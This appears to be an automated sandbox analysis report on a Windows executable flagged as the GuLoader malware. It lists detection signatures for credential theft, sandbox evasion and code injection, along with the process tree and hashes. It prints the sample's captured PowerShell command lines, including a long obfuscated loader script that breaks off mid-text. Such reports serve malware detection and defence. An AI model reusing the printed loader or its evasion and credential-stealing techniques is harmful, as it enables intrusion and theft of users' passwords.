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Windows
Analysis Report
demand_rpkb_060923.exe
Overview
General Information
Detection
GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Yara detected GuLoader
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes / dynamic malware analysis system (file name check)
Very long command line found
Suspicious powershell command line found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Found suspicious powershell code related to unpacking or dynamic code loading
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Uses SMTP (mail sending)
PE / OLE file has an invalid certificate
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Dropped file seen in connection with other malware
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Classification
- System is w10x64
- demand_rpkb_060923.exe (PID: 3916 cmdline:
C:\Users\u ser\Deskto p\demand_r pkb_060923 .exe MD5: C7BD1DE1F231CA867F35D645D92C587E) - powershell.exe (PID: 5428 cmdline:
Powershell -windowst yle minimi zed $malde r = Get-Co ntent 'C:\ Users\user ~1\AppData \Local\Tem p\epicentr ummers\Ele ve\Naturfr edningsfor eningerne6 \Cykels235 .Sil' ; Po wershell.E xE "$malde r" MD5: DBA3E6449E97D4E3DF64527EF7012A10) - conhost.exe (PID: 7144 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) - powershell.exe (PID: 6328 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe" " dir;$Unhap piness = " ""Pr;PaFre uEkn Rcfot KliSeoNun C CoB HaBu sReespnAse RhsFusun0R i4Ma Ba{Tr Pa Ep Un UpUnaCyrSt alimCa(An[ DaSPitLnrB liInnRegTr ]Es`$PaTra a RcWyhRty TrgGreUnnA le GsSkiDr s B)Su;Dr Aa Sp un G r`$ CPNeaG etAnrKuiEl lDoaJutbae MerDiaqul B Br=Cl Ge N SeBawBe- BO CbStjC aecacBlteu Beb myUnt KieEk[ud] M Ep(Ta`$S oT Pa KcSu hInySugJee BonOne PsD iiDisSi.Un LRae Ln Tg TitBohEj S /Ge Sk2Ca) Ha;Be Po S k Fr OpFAv oHerUb( U` $ PJUdiKam PrcIsrLaaU ic Dk V= B 0Ls; E Co` $ExJPoi hm ExcSrrIna IcSik W In -TalhatSu Un`$ ST Fa ExcLeh SyO pgReeSan R eFosUniCrs K.RoLAneU tnFigEmtGr hDi;Od Un` $uhJLiiSpm OvcSnrTsaU lc skDe+Sk =De2tr)Sp{ Pe Me Fo`$ GlEDakSas HkAnoHanTe gJoe ArShn FoehasSk B l= K Pr`$G aTDeaHycTi hFlyPagJue TinSueTjsT hi SsTi.Op S FuCobmes DotEcrSiiV anFrgDe( S `$ FJPaiAk mElcHorLia BocBokSp,H i Sk2Do)Pa ;Ge St be Fe Go De s u Tr Pa`$R uPGra TtZy rLaiSalGra fotshegrrC haopl e[Ne `$PaJPriNe m CcPrrIna RgcTykCl/F o2Un] S In =Sy F[BacR eoStn GvKa ePorRetVi] In:Co:PaTt ooflB MySi tKyeGa(Ti` $ViE UkHis HkDioTon Mgsye Gran nCieupsSe, Vi Wh1Ra6S e) U; R Ar G`$FaPFoa SqtPrr aiM alDea Pt L eSnrOzaSul V[Do`$ FJ boiRommycA pr SaUncSe kKd/Mo2 s] u r=Ta Sc QbyuAleDir TacFli UmW heNerBliTv tPurMoiPen M8Pa Co`$ SPFlaCotF irIniTylTo a KtoceAnr UraanlFu[ S`$FoJ PiA mmGlcKrrLa aFocKakSa/ Fo2Un]Sy L 1 O8 T2Op; Sk Vu Xa V e o}In Ug[ TrSOmtFer RiUdn ggDo ] P[snSPay QusEetPue LmDe. UTUn eCox HtFl. NETrnAfcS uoUvdUniDi nMeg R] G: Fo:BaAKoS SCAlI AIse .KrG SeDot MiSTrtVirN iifinFrgTe (St`$KaPTi aIntNorGai Kel RaVrt se Nr OaAk lMu)Ud;Se} Fr`$RoUDir GibMua CnG uespl Sy E 1Da7 P2 B0 an=MiB HaS csTheDinPa eGgsPhsCl0 Li4Ta Ti' TEBa5FlCPo F ECUd5liC Se2ReDHu3T aD PBNy9Yn 8FaDre2SeD IAhyDPoA u'Bo; S`$f lUAprSib B aArnIseBul SyCa1 A7N o2la1 r=Ud B FaAns ee Pln HeResI nsLo0 V4 N Aa' HF PB SuD VF LDL a5 UCAn4Re DPa9SkCRe5 SpD T9DiD R0DeCTr2Un 9 S8AfEDe1 EdDCoFPaDB u8Un8Se5 T 8Un4Be9Up8 AEEn3WiDh a8MoC v5kr DEp7DaDFo0 CoDAr3EuF D8MaDtl7Fo CHo2orDArF MC B0ChDX e3OsFNoBFr DIc3 BCCo2 DeD pETrDO v9UnDTy2 B Cun5Ki' B; Ge`$HoU Kr dibPoaDynI meKolCly T 1 S7St2 S2 Kn=BlB saL os DeornMo e Rs Fs I0 G4Qu an'A lF E1WaDPa 3BlCMo2 FE A6MuCKd4K oDUl9 GDDo 5GrFCi7UnD R2BiDBa2L iC D4CoDGu 3AnCPl5SuC S5La'De;C a`$ EUDirs ebPra tnPl e RlStyUd1 Ce7Ni2Ar3A p=UnBBaaUm suneKonDve PusBusVi0A u4Be Sm'Co ESa5QuCTaF SnCGi5AfCM o2NyDEf3Ra D MBSu9 B8 DETr4NoC N3MeDSe8Fo CRe2BeDFoF KaDTeBDuD D3 S9Sk8Ep FShFYdD A8 AeCMu2 FDh o3MaCPa4Ud DIn9UfC m6 HeEKo5 BDS u3PaC c4Ac CLi0AlDPoF diD S5 VDS t3HaCSk5Dd 9li8PoFKaE EmDAn7SkD F8FeDTo2 R DTaAMiDLk3 MuEHj4BeDP o3 AD T0ti ' D;Go`$Ku USiranbApa KanTheFelr